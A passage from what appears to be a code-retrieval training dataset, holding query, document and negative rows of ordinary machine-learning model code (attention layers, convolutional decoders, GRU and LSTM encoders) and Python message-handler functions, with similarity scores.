nn.Parameter(torch.cat([whisper_layer.self_attn.q_proj.bias, torch.zeros_like(whisper_layer.self_attn.q_proj.bias), whisper_layer.self_attn.v_proj.bias]))\\n self.out_proj_weight = whisper_layer.self_attn.out_proj.weight\\n self.out_proj_bias = whisper_layer.self_attn.out_proj.bias\\n self.linear1_weight = whisper_layer.fc1.weight\\n self.linear1_bias = whisper_layer.fc1.bias\\n self.linear2_weight = whisper_layer.fc2.weight\\n self.linear2_bias = whisper_layer.fc2.bias\\n self.norm1_eps = whisper_layer.self_attn_layer_norm.eps\\n self.norm1_weight = whisper_layer.self_attn_layer_norm.weight\\n self.norm1_bias = whisper_layer.self_attn_layer_norm.bias\\n self.norm2_eps = whisper_layer.final_layer_norm.eps\\n self.norm2_weight = whisper_layer.final_layer_norm.weight\\n self.norm2_bias = whisper_layer.final_layer_norm.bias\\n self.num_heads = whisper_layer.self_attn.num_heads\\n self.embed_dim = whisper_layer.self_attn.embed_dim\\n self.is_last_layer = False\\n self.norm_first = True\\n self.validate_bettertransformer()\",\n \"def xception_block2(x, n_filter, kernel_size, name,\\n activation='relu'):\\n residual = x\\n if activation:\\n x = layers.Activation('relu', name=name+'_act')(x) \\n x = sepconv_bn_relu(x, n_filter, kernel_size, padding='same', name=name+'_sepconv1')\\n x = sepconv_bn_relu(x, n_filter, kernel_size, padding='same', name=name+'_sepconv2')\\n x = sepconv_bn_relu(x, n_filter, kernel_size, padding='same', activation=None, name=name+'_sepconv3')\\n x = layers.add([x, residual])\\n\\n return x\",\n \"def __init__(self, kernel_size=11, log_t=False):\\n super(Attention, self).__init__()\\n assert kernel_size % 2 == 1, \\\"Kernel size should be odd for 'same' conv.\\\"\\n padding = (kernel_size - 1) // 2\\n self.conv = nn.Conv1d(1, 1, kernel_size, padding=padding)\\n self.log_t = log_t\",\n \"def inference(image, keep_prob):\\r\\n '''\\r\\n print(\\\"setting up vgg initialized conv layers ...\\\")\\r\\n model_data = utils.get_model_data(FLAGS.model_dir, MODEL_URL)\\r\\n\\r\\n mean = model_data['normalization'][0][0][0]\\r\\n mean_pixel = np.mean(mean, axis=(0, 1))\\r\\n\\r\\n weights = np.squeeze(model_data['layers'])\\r\\n print(\\\"weights.shape\\\",weights.shape)\\r\\n\\r\\n processed_image = utils.process_image(image, mean_pixel)'''\\r\\n\\r\\n with tf.variable_scope(\\\"inference\\\"):\\r\\n pooling_net,conv_final_layer = inference_op(image)\\r\\n #conv_final_layer = image_net[\\\"conv5_3\\\"]\\r\\n\\r\\n pool5 = utils.max_pool_2x2(conv_final_layer)\\r\\n\\r\\n W6 = utils.weight_variable([7, 7, 512, 4096], name=\\\"W6\\\")\\r\\n b6 = utils.bias_variable([4096], name=\\\"b6\\\")\\r\\n conv6 = utils.conv2d_basic(pool5, W6, b6)\\r\\n relu6 = tf.nn.relu(conv6, name=\\\"relu6\\\")\\r\\n if FLAGS.debug:\\r\\n utils.add_activation_summary(relu6)\\r\\n relu_dropout6 = tf.nn.dropout(relu6, keep_prob=keep_prob)\\r\\n\\r\\n W7 = utils.weight_variable([1, 1, 4096, 4096], name=\\\"W7\\\")\\r\\n b7 = utils.bias_variable([4096], name=\\\"b7\\\")\\r\\n conv7 = utils.conv2d_basic(relu_dropout6, W7, b7)\\r\\n relu7 = tf.nn.relu(conv7, name=\\\"relu7\\\")\\r\\n if FLAGS.debug:\\r\\n utils.add_activation_summary(relu7)\\r\\n relu_dropout7 = tf.nn.dropout(relu7, keep_prob=keep_prob)\\r\\n\\r\\n W8 = utils.weight_variable([1, 1, 4096, NUM_OF_CLASSESS], name=\\\"W8\\\")\\r\\n b8 = utils.bias_variable([NUM_OF_CLASSESS], name=\\\"b8\\\")\\r\\n conv8 = utils.conv2d_basic(relu_dropout7, W8, b8)\\r\\n # annotation_pred1 = tf.argmax(conv8, dimension=3, name=\\\"prediction1\\\")\\r\\n\\r\\n # now to upscale to actual image size\\r\\n deconv_shape1 = pooling_net[\\\"pool4\\\"].get_shape()\\r\\n W_t1 = utils.weight_variable([4, 4, deconv_shape1[3].value, NUM_OF_CLASSESS], name=\\\"W_t1\\\")\\r\\n b_t1 = utils.bias_variable([deconv_shape1[3].value], name=\\\"b_t1\\\")\\r\\n # 对第8层的结果进行反卷积(上采样),通道数也由NUM_OF_CLASSESS变为第4层的通道数\\r\\n conv_t1 = utils.conv2d_transpose_strided(conv8, W_t1, b_t1, output_shape=tf.shape(pooling_net[\\\"pool4\\\"]))\\r\\n fuse_1 = tf.add(conv_t1, pooling_net[\\\"pool4\\\"], name=\\\"fuse_1\\\")\\r\\n\\r\\n deconv_shape2 = pooling_net[\\\"pool3\\\"].get_shape()\\r\\n W_t2 = utils.weight_variable([4, 4, deconv_shape2[3].value, deconv_shape1[3].value], name=\\\"W_t2\\\")\\r\\n b_t2 = utils.bias_variable([deconv_shape2[3].value], name=\\\"b_t2\\\")\\r\\n conv_t2 = utils.conv2d_transpose_strided(fuse_1, W_t2, b_t2, output_shape=tf.shape(pooling_net[\\\"pool3\\\"]))\\r\\n fuse_2 = tf.add(conv_t2, pooling_net[\\\"pool3\\\"], name=\\\"fuse_2\\\")\\r\\n\\r\\n shape = tf.shape(image)\\r\\n deconv_shape3 = tf.stack([shape[0], shape[1], shape[2], NUM_OF_CLASSESS])\\r\\n W_t3 = utils.weight_variable([16, 16, NUM_OF_CLASSESS, deconv_shape2[3].value], name=\\\"W_t3\\\")\\r\\n b_t3 = utils.bias_variable([NUM_OF_CLASSESS], name=\\\"b_t3\\\")\\r\\n conv_t3 = utils.conv2d_transpose_strided(fuse_2, W_t3, b_t3, output_shape=deconv_shape3, stride=8)\\r\\n\\r\\n annotation_pred = tf.argmax(conv_t3, dimension=3, name=\\\"prediction\\\")\\r\\n print(\\\"annotation_pred.shape\\\",annotation_pred.shape)\\r\\n print(\\\"conv_t3\\\",conv_t3)\\r\\n print(\\\"tf.expand_dims(annotation_pred, dim=3)\\\",tf.expand_dims(annotation_pred, dim=3))\\r\\n return tf.expand_dims(annotation_pred, dim=3), conv_t3\",\n \"def _apply_attention_constraint(e,\\n last_attended_idx,\\n backward_window=1,\\n forward_window=3):\\n # for dygraph to static graph\\n # if e.shape[0] != 1:\\n # raise NotImplementedError(\\n # \\\"Batch attention constraining is not yet supported.\\\")\\n backward_idx = paddle.cast(\\n last_attended_idx - backward_window, dtype='int64')\\n forward_idx = paddle.cast(last_attended_idx + forward_window, dtype='int64')\\n if backward_idx > 0:\\n e[:, :backward_idx] = -float(\\\"inf\\\")\\n if forward_idx < paddle.shape(e)[1]:\\n e[:, forward_idx:] = -float(\\\"inf\\\")\\n return e\",\n \"def forward(self, x):\\n x = self.first_deconv(x)\\n x = self.first_batch_norm(x)\\n x = F.leaky_relu(x)\\n\\n x = self.second_deconv(x)\\n x = self.second_batch_norm(x)\\n x = F.leaky_relu(x)\\n\\n x = self.third_deconv(x)\\n x = self.third_batch_norm(x)\\n x = F.leaky_relu(x)\\n\\n x = self.fourth_deconv(x)\\n x = self.fourth_batch_norm(x)\\n\\n x = self.fifth_deconv(x)\\n x = self.fifth_batch_norm(x)\\n\\n x = self.sixth_deconv(x)\\n x = self.sixth_batch_norm(x)\\n\\n x = self.seventh_deconv(x)\\n\\n # sigmoid_out = nn.functional.sigmoid(x)\\n tanh_out = nn.functional.tanh(x)\\n\\n out = (tanh_out + 1) * 255 / 2\\n\\n # print 'out.shape =', out.shape\\n\\n return out\",\n \"def forward(self, x, h, u, time, feat_kernels_enc_conv, feat_bias_enc_conv, feat_kernels_enc_fc, feat_bias_enc_fc, feat_kernels_enc_3dgru, feat_bias_enc_3dgru):\\n\\n\\n conv1a_wt,conv1b_wt,conv2a_wt,conv2b_wt,conv2c_wt,conv3a_wt,conv3b_wt,conv3c_wt,conv4a_wt,conv4b_wt,conv5a_wt,conv5b_wt,conv5c_wt,conv6a_wt,conv6b_wt = feat_kernels_enc_conv\\n conv1a_bias,conv1b_bias,conv2a_bias,conv2b_bias,conv2c_bias,conv3a_bias,conv3b_bias,conv3c_bias,conv4a_bias,conv4b_bias,conv5a_bias,conv5b_bias,conv5c_bias,conv6a_bias,conv6b_bias = feat_bias_enc_conv\\n t_x_s_update_fc_layer, t_x_s_update_conv3d, t_x_s_reset_fc_layer, t_x_s_reset_conv3d, t_x_rs_fc_layer, t_x_rs_conv3d = feat_kernels_enc_3dgru\\n t_x_s_update_bias, t_x_s_reset_bias, t_x_rs_bias = feat_bias_enc_3dgru\\n\\n conv1a = F.conv2d(x, conv1a_wt, bias=conv1a_bias, padding=3) #self.conv1a(x)\\n rect1a = self.leaky_relu(conv1a)\\n conv1b = F.conv2d(rect1a, conv1b_wt, bias=conv1b_bias, padding=1) #self.conv1b(rect1a)\\n rect1 = self.leaky_relu(conv1b)\\n pool1 = self.pool(rect1)\\n \\n \\n conv2a = F.conv2d(pool1, conv2a_wt, bias=conv2a_bias, padding=1) #self.conv2a(pool1)\\n rect2a = self.leaky_relu(conv2a)\\n conv2b = F.conv2d(rect2a, conv2b_wt, bias=conv2b_bias, padding=1) #self.conv2b(rect2a)\\n rect2 = self.leaky_relu(conv2b)\\n conv2c = F.conv2d(pool1, conv2c_wt, bias=conv2c_bias) #self.conv2c(pool1)\\n res2 = conv2c + rect2\\n pool2 = self.pool(res2)\\n \\n \\n conv3a = F.conv2d(pool2, conv3a_wt, bias=conv3a_bias, padding=1) #self.conv3a(pool2)\\n rect3a = self.leaky_relu(conv3a)\\n conv3b = F.conv2d(rect3a, conv3b_wt, bias=conv3b_bias, padding=1) #self.conv3b(rect3a)\\n rect3 = self.leaky_relu(conv3b)\\n conv3c = F.conv2d(pool2, conv3c_wt, bias=conv3c_bias) #self.conv3c(pool2)\\n res3 = conv3c + rect3\\n pool3 = self.pool(res3)\\n \\n conv4a = F.conv2d(pool3, conv4a_wt, bias=conv4a_bias, padding=1) #self.conv4a(pool3)\\n rect4a = self.leaky_relu(conv4a)\\n conv4b = F.conv2d(rect4a, conv4b_wt, bias=conv4b_bias, padding=1) #self.conv4b(rect4a)\\n rect4 = self.leaky_relu(conv4b)\\n pool4 = self.pool(rect4)\\n \\n \\n conv5a = F.conv2d(pool4, conv5a_wt, bias=conv5a_bias, padding=1) #self.conv5a(pool4)\\n rect5a = self.leaky_relu(conv5a)\\n conv5b = F.conv2d(rect5a, conv5b_wt, bias=conv5b_bias, padding=1) #self.conv5b(rect5a)\\n rect5 = self.leaky_relu(conv5b)\\n conv5c = F.conv2d(pool4, conv5c_wt, bias=conv5c_bias) #self.conv5c(pool4)\\n res5 = conv5c + rect5\\n pool5 = self.pool(res5)\\n \\n \\n conv6a = F.conv2d(pool5, conv6a_wt, bias=conv6a_bias, padding=1) #self.conv6a(pool5)\\n rect6a = self.leaky_relu(conv6a)\\n conv6b = F.conv2d(rect6a, conv6b_wt, bias=conv6b_bias, padding=1) #self.conv6b(rect6a)\\n rect6 = self.leaky_relu(conv6b)\\n res6 = pool5 + rect6\\n pool6 = self.pool(res6)\\n \\n \\n pool6 = pool6.view(pool6.size(0), -1)\\n \\n \\n fc7 = F.linear(pool6, feat_kernels_enc_fc[0], bias=feat_bias_enc_fc[0]) #self.fc7(pool6)\\n rect7 = self.leaky_relu(fc7)\\n \\n t_x_s_update = self.t_x_s_update(rect7, h, t_x_s_update_fc_layer, t_x_s_update_conv3d, t_x_s_update_bias)\\n t_x_s_reset = self.t_x_s_reset(rect7, h, t_x_s_reset_fc_layer, t_x_s_reset_conv3d, t_x_s_reset_bias)\\n \\n update_gate = self.sigmoid(t_x_s_update)\\n complement_update_gate = 1 - update_gate\\n reset_gate = self.sigmoid(t_x_s_reset)\\n \\n rs = reset_gate * h\\n t_x_rs = self.t_x_rs(rect7, rs, t_x_rs_fc_layer, t_x_rs_conv3d, t_x_rs_bias)\\n tanh_t_x_rs = self.tanh(t_x_rs)\\n \\n gru_out = update_gate * h + complement_update_gate * tanh_t_x_rs\\n \\n return gru_out, update_gate\",\n \"def __init__(self, ntoken, emb_sz, n_hid, n_layers, pad_token, bidir=False,\\n dropouth=0.3, dropouti=0.65, dropoute=0.1, wdrop=0.5, qrnn=False):\\n\\n super().__init__()\\n self.ndir = 2 if bidir else 1\\n self.bs, self.qrnn = 1, qrnn\\n self.encoder = nn.Embedding(ntoken, emb_sz, padding_idx=pad_token)\\n self.encoder_with_dropout = EmbeddingDropout(self.encoder)\\n if self.qrnn:\\n self.rnns = [QRNNLayer(emb_sz if l == 0 else n_hid, (n_hid if l != n_layers - 1 else emb_sz) // self.ndir,\\n save_prev_x=True, zoneout=0, window=2 if l == 0 else 1, output_gate=True) for l in range(n_layers)]\\n if wdrop:\\n for rnn in self.rnns:\\n rnn.linear = WeightDrop(rnn.linear, wdrop, weights=['weight'])\\n else:\\n self.rnns = [nn.LSTM(emb_sz if l == 0 else n_hid, (n_hid if l != n_layers - 1 else emb_sz)//self.ndir,\\n 1, bidirectional=bidir) for l in range(n_layers)]\\n if wdrop: self.rnns = [WeightDrop(rnn, wdrop) for rnn in self.rnns]\\n self.rnns = torch.nn.ModuleList(self.rnns)\\n self.encoder.weight.data.uniform_(-self.initrange, self.initrange)\\n\\n self.emb_sz,self.n_hid,self.n_layers,self.dropoute = emb_sz,n_hid,n_layers,dropoute\\n self.dropouti = LockedDropout(dropouti)\\n self.dropouths = nn.ModuleList([LockedDropout(dropouth) for l in range(n_layers)])\",\n \"def convolutional_attention(inputs, filter_size=5, initializer=None,\\n reuse=None, name=''):\\n with tf.variable_scope('conv_att_{}'.format(name), reuse=reuse) as f:\\n dim = inputs.get_shape().as_list()[2]\\n filter_shape = filter_shape = [filter_size, dim, 1]\\n W1 = tf.get_variable(\\\"weights\\\", filter_shape,\\n initializer=initializer)\\n b1 = tf.get_variable(\\\"bias\\\", [1],\\n initializer=tf.constant_initializer([0.1]))\\n conv = tf.nn.conv1d(inputs, W1, stride=1,\\n padding=\\\"SAME\\\", data_format=\\\"NHWC\\\")\\n # this should be bsz x seq_len x 1\\n conv += b1\\n att = tf.nn.sigmoid(conv)\\n weighted_inputs = inputs * att\\n return weighted_inputs, att\",\n \"def attention(query, use_attention=False):\\n attn_weights = []\\n ds = [] # Results of attention reads will be stored here.\\n for i in xrange(num_heads):\\n with variable_scope.variable_scope(\\\"Attention_%d\\\" % i):\\n y = rnn_cell._linear(query, attention_vec_size, True)\\n y = array_ops.reshape(y, [-1, 1, 1, attention_vec_size])\\n # Attention mask is a softmax of v^T * tanh(...).\\n s = math_ops.reduce_sum(\\n v[i] * math_ops.tanh(hidden_features[i] + y), [2, 3])\\n if use_attention is False: # apply mean pooling\\n weights = tf.tile(sequence_length, tf.pack([attn_length]))\\n weights = array_ops.reshape(weights, tf.shape(s))\\n a = array_ops.ones(tf.shape(s), dtype=dtype) / math_ops.to_float(weights)\\n # a = array_ops.ones(tf.shape(s), dtype=dtype) / math_ops.to_float(tf.shape(s)[1])\\n else:\\n a = nn_ops.softmax(s)\\n attn_weights.append(a)\\n # Now calculate the attention-weighted vector d.\\n d = math_ops.reduce_sum(\\n array_ops.reshape(a, [-1, attn_length, 1, 1]) * hidden,\\n [1, 2])\\n ds.append(array_ops.reshape(d, [-1, attn_size]))\\n return attn_weights, ds\",\n \"def forward(self, x):\\n\\n ########################\\n # PUT YOUR CODE HERE #\\n #######################\\n\\n x = self.pool1(F.relu(self.batch1(self.conv1(x))))\\n x = self.pool2(F.relu(self.batch2(self.conv2(x))))\\n x = F.relu(self.batch3a(self.conv3a(x)))\\n x = self.pool3(F.relu(self.batch3b(self.conv3b(x))))\\n x = F.relu(self.batch4a(self.conv4a(x)))\\n x = self.pool4(F.relu(self.batch4b(self.conv4b(x))))\\n x = F.relu(self.batch5a(self.conv5a(x)))\\n x = self.pool5(F.relu(self.batch5b(self.conv5b(x))))\\n x = self.avgpool(x)\\n x = x.reshape(x.shape[0], -1)\\n out = self.fc1(x)\\n\\n# raise NotImplementedError\\n ########################\\n # END OF YOUR CODE #\\n #######################\\n\\n return out\",\n \"def dual_attention(inputs, num_filters, filter_size=5, initializer=None, reuse=None,\\n name='', dropout=None):\\n local_repr = local_attention(inputs, num_filters,\\n initializer=initializer,\\n reuse=reuse)\\n global_repr = build_cnn(inputs, num_filters, filter_sizes=234,\\n initializer=initializer, name='global{}'.format(name),\\n reuse=reuse, round_filter=True)\\n lg = tf.concat([local_repr, global_repr], 1)\\n final_repr = ffn(lg, num_filters, initializer, reuse=reuse, num_layers=2,\\n dropout=dropout, activation=tf.nn.relu)\\n return final_repr\",\n \"def attention_module_multi_head(roi_feat, position_embedding,\\n nongt_dim, fc_dim, feat_dim,\\n dim=(1024, 1024, 1024),\\n group=16, index=1):\\n dim_group = (dim[0] / group, dim[1] / group, dim[2] / group)\\n nongt_roi_feat = mx.symbol.slice_axis(data=roi_feat, axis=0, begin=0, end=nongt_dim)\\n # [num_rois * nongt_dim, emb_dim]\\n position_embedding_reshape = mx.sym.Reshape(position_embedding, shape=(-3, -2))\\n # position_feat_1, [num_rois * nongt_dim, fc_dim]\\n position_feat_1 = mx.sym.FullyConnected(name='pair_pos_fc1_' + str(index),\\n data=position_embedding_reshape,\\n num_hidden=fc_dim)\\n position_feat_1_relu = mx.sym.Activation(data=position_feat_1, act_type='relu')\\n # aff_weight, [num_rois, nongt_dim, fc_dim]\\n aff_weight = mx.sym.Reshape(position_feat_1_relu, shape=(-1, nongt_dim, fc_dim))\\n # aff_weight, [num_rois, fc_dim, nongt_dim]\\n aff_weight = mx.sym.transpose(aff_weight, axes=(0, 2, 1))\\n\\n # multi head\\n assert dim[0] == dim[1], 'Matrix multiply requires same dimensions!'\\n q_data = mx.sym.FullyConnected(name='query_' + str(index),\\n data=roi_feat,\\n num_hidden=dim[0])\\n q_data_batch = mx.sym.Reshape(q_data, shape=(-1, group, dim_group[0]))\\n q_data_batch = mx.sym.transpose(q_data_batch, axes=(1, 0, 2))\\n k_data = mx.symbol.FullyConnected(name='key_' + str(index),\\n data=nongt_roi_feat,\\n num_hidden=dim[1])\\n k_data_batch = mx.sym.Reshape(k_data, shape=(-1, group, dim_group[1]))\\n k_data_batch = mx.sym.transpose(k_data_batch, axes=(1, 0, 2))\\n v_data = nongt_roi_feat\\n # v_data = mx.symbol.FullyConnected(name='value_'+str(index)+'_'+str(gid), data=roi_feat, num_hidden=dim_group[2])\\n aff = mx.symbol.batch_dot(lhs=q_data_batch, rhs=k_data_batch, transpose_a=False, transpose_b=True)\\n # aff_scale, [group, num_rois, nongt_dim]\\n aff_scale = (1.0 / math.sqrt(float(dim_group[1]))) * aff\\n aff_scale = mx.sym.transpose(aff_scale, axes=(1, 0, 2))\\n\\n assert fc_dim == group, 'fc_dim != group'\\n # weighted_aff, [num_rois, fc_dim, nongt_dim]\\n weighted_aff = mx.sym.log(mx.sym.maximum(left=aff_weight, right=1e-6)) + aff_scale\\n aff_softmax = mx.symbol.softmax(data=weighted_aff, axis=2, name='softmax_' + str(index))\\n # [num_rois * fc_dim, nongt_dim]\\n aff_softmax_reshape = mx.sym.Reshape(aff_softmax, shape=(-3, -2))\\n # output_t, [num_rois * fc_dim, feat_dim]\\n output_t = mx.symbol.dot(lhs=aff_softmax_reshape, rhs=v_data)\\n # output_t, [num_rois, fc_dim * feat_dim, 1, 1]\\n output_t = mx.sym.Reshape(output_t, shape=(-1, fc_dim * feat_dim, 1, 1))\\n # linear_out, [num_rois, dim[2], 1, 1]\\n linear_out = mx.symbol.Convolution(name='linear_out_' + str(index), data=output_t,\\n kernel=(1, 1), num_filter=dim[2], num_group=fc_dim)\\n output = mx.sym.Reshape(linear_out, shape=(0, 0))\\n return output\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.65101606","0.6506882","0.6454085","0.644183","0.64174455","0.63672817","0.633365","0.63287926","0.63155437","0.6293508","0.62866867","0.6259745","0.6250611","0.62303746","0.61847997","0.6182898","0.61732996","0.61547047","0.6128263","0.60605913","0.6054932","0.60506773","0.6044652","0.6033075","0.6028013","0.60209435","0.60185736","0.59924567","0.59865206","0.598531","0.59835035","0.5981539","0.59809774","0.5974993","0.5963727","0.5962641","0.59619576","0.59583104","0.59322786","0.59231055","0.59176415","0.5915514","0.5894368","0.5887464","0.5886013","0.5875694","0.5875573","0.58697885","0.5868591","0.58637923","0.5862766","0.5860247","0.58516896","0.58515817","0.5850558","0.5844043","0.58403015","0.5837943","0.5836817","0.58365667","0.58339465","0.5833076","0.5828338","0.5825665","0.5811846","0.58099943","0.5803884","0.58017284","0.58001107","0.5798485","0.5797948","0.5796979","0.5783415","0.57790357","0.5777388","0.57765406","0.57760775","0.5773276","0.5764059","0.5763588","0.5762","0.5743852","0.57422024","0.5738938","0.5726773","0.5725143","0.5723862","0.57214606","0.5712004","0.57110834","0.5699153","0.56962794","0.5686169","0.5685223","0.5681122","0.5680744","0.56760937","0.5671088","0.56698614","0.5667234","0.56639165"],"string":"[\n \"0.65101606\",\n \"0.6506882\",\n \"0.6454085\",\n \"0.644183\",\n \"0.64174455\",\n \"0.63672817\",\n \"0.633365\",\n \"0.63287926\",\n \"0.63155437\",\n \"0.6293508\",\n \"0.62866867\",\n \"0.6259745\",\n \"0.6250611\",\n \"0.62303746\",\n \"0.61847997\",\n \"0.6182898\",\n \"0.61732996\",\n \"0.61547047\",\n \"0.6128263\",\n \"0.60605913\",\n \"0.6054932\",\n \"0.60506773\",\n \"0.6044652\",\n \"0.6033075\",\n \"0.6028013\",\n \"0.60209435\",\n \"0.60185736\",\n \"0.59924567\",\n \"0.59865206\",\n \"0.598531\",\n \"0.59835035\",\n \"0.5981539\",\n \"0.59809774\",\n \"0.5974993\",\n \"0.5963727\",\n \"0.5962641\",\n \"0.59619576\",\n \"0.59583104\",\n \"0.59322786\",\n \"0.59231055\",\n \"0.59176415\",\n \"0.5915514\",\n \"0.5894368\",\n \"0.5887464\",\n \"0.5886013\",\n \"0.5875694\",\n \"0.5875573\",\n \"0.58697885\",\n \"0.5868591\",\n \"0.58637923\",\n \"0.5862766\",\n \"0.5860247\",\n \"0.58516896\",\n \"0.58515817\",\n \"0.5850558\",\n \"0.5844043\",\n \"0.58403015\",\n \"0.5837943\",\n \"0.5836817\",\n \"0.58365667\",\n \"0.58339465\",\n \"0.5833076\",\n \"0.5828338\",\n \"0.5825665\",\n \"0.5811846\",\n \"0.58099943\",\n \"0.5803884\",\n \"0.58017284\",\n \"0.58001107\",\n \"0.5798485\",\n \"0.5797948\",\n \"0.5796979\",\n \"0.5783415\",\n \"0.57790357\",\n \"0.5777388\",\n \"0.57765406\",\n \"0.57760775\",\n \"0.5773276\",\n \"0.5764059\",\n \"0.5763588\",\n \"0.5762\",\n \"0.5743852\",\n \"0.57422024\",\n \"0.5738938\",\n \"0.5726773\",\n \"0.5725143\",\n \"0.5723862\",\n \"0.57214606\",\n \"0.5712004\",\n \"0.57110834\",\n \"0.5699153\",\n \"0.56962794\",\n \"0.5686169\",\n \"0.5685223\",\n \"0.5681122\",\n \"0.5680744\",\n \"0.56760937\",\n \"0.5671088\",\n \"0.56698614\",\n \"0.5667234\",\n \"0.56639165\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":14494,"cells":{"query":{"kind":"string","value":"A message handler method may simply be a method with som kwargs. The kwargs will be given all incoming pipeline data, the bus and the incoming payload."},"document":{"kind":"string","value":"def MessageHandlerMethod(**kwargs):\n data: dict = kwargs['data']\n bus: AbstractPikaBus = kwargs['bus']\n payload: dict = kwargs['payload']\n print(payload)\n if payload['reply']:\n payload['reply'] = False\n bus.Reply(payload=payload)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def handle_message(**payload):\n handler_instance = message.MessageHandler(payload)\n handler_instance.handle()","def _incoming_handler(self, context, message, fake_reply):\r\n return self._map[message.method](context, fake_reply, *message.args, **message.kwargs)","def _handler(self, message):\n\n data = pickle.loads(message['data'])\n\n if not data[2]:\n # empty method call; bail out\n return\n\n # call the function and respond to the proxy object with return value\n uuid = data[0]\n proxy = data[1]\n func = getattr(self, data[2])\n result = (uuid, func(*data[3], **data[4]))\n self._redis.publish('proxy:%s' % proxy, pickle.dumps(result))","def process(self, message: Message, **kwargs: Any) -> None:","def processMessage(self, *args, **kwargs):\r\n pass","def __call__(self, *args, **kwargs):\n return self.method(self.receiver, *args, **kwargs)","def __call__(self, *args, **kwargs):\n\t\treturn self.handler()(self.request(kwargs))","def handle(self, body):\n event_type = body['event_type']\n method_name = event_type.replace('.', '_')\n try:\n method = getattr(self, method_name)\n method(body)\n except AttributeError:\n LOG.debug('%s needs a method called `%s` to handle %s' %\n (self.__class__.__name__, method_name, event_type))","def process_method(self, method, args, kwargs, request_id=None, **context):\n return method(*([] if args is None else args), **({} if kwargs is None else kwargs))","def __call__(self,data):\n\n log.debug('got data: %s' % (len(data)))\n\n # if we don't have args yet, these must be them\n if not self.args:\n self.parse_args(data)\n\n else:\n # we've already got args, must\n # be a message\n self.handle_send(data)","def call(self, method, name, params=None, payload=None, **kwds):","def incoming(self, msg):\n hdr = msg.header\n\n # Signals:\n if hdr.message_type is MessageType.signal:\n key = (hdr.fields.get(HeaderFields.path, None),\n hdr.fields.get(HeaderFields.interface, None),\n hdr.fields.get(HeaderFields.member, None)\n )\n cb = self.signal_callbacks.get(key, None)\n if cb is not None:\n cb(msg.body)\n return\n\n # Method returns & errors\n reply_serial = hdr.fields.get(HeaderFields.reply_serial, -1)\n reply_handle = self.awaiting_reply.pop(reply_serial, None)\n if reply_handle is not None:\n if hdr.message_type is MessageType.method_return:\n reply_handle.set_result(msg.body)\n return\n elif hdr.message_type is MessageType.error:\n reply_handle.set_exception(DBusErrorResponse(msg))\n return\n\n if self.on_unhandled:\n self.on_unhandled(msg)","def process(self, message: Message, **kwargs: Any) -> None:\n pass","def messageHandler(self, source, message, messageId):\n try:\n type, params, data = message.split(':',2)\n except:\n # Not a real message\n return\n \n try:\n getattr(self, \"thive_%s\" % type)(messageId, params.split(), data)\n except exceptions.AttributeError, c:\n raise c\n print \"[HIVE] No method bound for command '%s'\" % type","def __call__(self, *args, **params):\n\t\treturn self.send(params)","def handle(self, message):","def handle(self, args):\n\n logger.debug('ARGS: %s', args)\n args = json.loads(args)\n\n try:\n logger.info('Handling %s request.' % args['method'])\n method = 'handle_' + args['method'].lower()\n if callable(getattr(self, method, None)):\n return operator.methodcaller(method, args)(self)\n else:\n return self.error('Invalid method for this endpoint', httplib.METHOD_NOT_ALLOWED)\n except ValueError as e:\n msg = 'ValueError: %s' % e.message\n return self.error(msg, httplib.BAD_REQUEST)\n except splunk.RESTException as e:\n return self.error('RESTexception: %s' % e, httplib.INTERNAL_SERVER_ERROR)\n except Exception as e:\n msg = 'Unknown exception: %s' % e\n logger.exception(msg)\n return self.error(msg, httplib.INTERNAL_SERVER_ERROR)","def handle(self, *args, **kwargs):\n raise NotImplementedError()","def make_new_handler(self, *args, **kwargs):","def on_bus_message(self, channel, method_frame, header_frame, body):\n\n try:\n # there are two messages that get broadcast that we really\n # don\"t care about. They have to do with feed synchronization\n # and other internal book-keeping\n if method_frame.routing_key in self.capture_events:\n event = {\n \"content_type\": header_frame.content_type,\n \"routing_key\": method_frame.routing_key,\n \"body\": body\n }\n self.logger.debug(\"Received Message: %s - %s\" % (header_frame.content_type, method_frame.routing_key))\n self.processor_pool.apply_async(process_event, (self.event_processor, event))\n\n else:\n self.logger.debug(\"Unknown message info: %s\" % method_frame.routing_key)\n\n except:\n self.logger.exception(\"Error processing bus message\")","def call(self, *args, **kwargs):","def on_message(client, userdata, msg):\n TOPIC_DISPATCH_DICTIONARY[msg.topic][\"method\"](msg)","def handle_message(self, message):\n\n\t\tself.log.debug(\"%s handle_message %s\", self.name, message)\n\n\t\tif message[\"Type\"] == \"command\":\n\t\t\ttry:\n\t\t\t\tcommand_callable = \"command_%s\" % message[\"Message\"][\"command\"]\n\t\t\t\tif hasattr(self, command_callable) and callable(getattr(self, command_callable)):\n\t\t\t\t\tcall = getattr(self, command_callable)\n\t\t\t\t\tcall(message[\"Message\"][\"arguments\"])\n\t\t\texcept Exception as e:\n\t\t\t\tself.log.error(\"%s invalid command %s %s\", self.name, message, e)","def invoke(self, event_args, *args, **kwargs):\n pass # pragma: no cover","def _dispatch(self, body):\n pass","def Message(self, *args, **kwargs):\n pass","def message_handler(self, dest, source, message):\n pass","def __call__(self, data, **kwargs):","def __call__(self, details: CallableDetails, arg: CallableArg, obj: Any) -> Handler:\n if not details.is_async:\n raise HandlerFactoryError(f\"Object {details.obj!r} is not async callable\")\n\n subject_name: Optional[str]\n if self.subject_as_keyword or not arg.is_positional:\n subject_name = arg.name\n else:\n subject_name = None\n\n if self.arg_strict or details.has_kwargs:\n allow_args = None\n else:\n allow_args = {arg.name for arg in details.args}\n\n return CallableHandler(\n obj=obj,\n fn=details.obj,\n key=arg.type,\n subject_name=subject_name,\n arg_map=self.arg_map,\n allow_args=allow_args,\n )","def on_message(self, handler: Callable[[Request], Coroutine[Any, Any, Any]]):\n self.on_message_handler = handler","def dispatch_any(self, request, handler, *args, **kwargs):\r\n return handler(request, *args, **kwargs)","def _dispatch(obj, path, kwargs, sign, index, root=False):\n\n name = path[index]\n max_index = len(path) - 1\n\n path_info = list(path)\n path_info[index] = '|' + name + '|'\n pinfo = 'Path: ' + '.'.join(path_info)\n\n try:\n meth = getattr(obj, name, None)\n if meth is None:\n if isinstance(obj, ProxyMixin):\n rest_path = path[index:]\n obj.proxy_method(rest_path, sign, kwargs)\n if not root:\n return dummy_generator()\n return dummy_generator\n else:\n etxt = '{} has no method {}.'\n raise 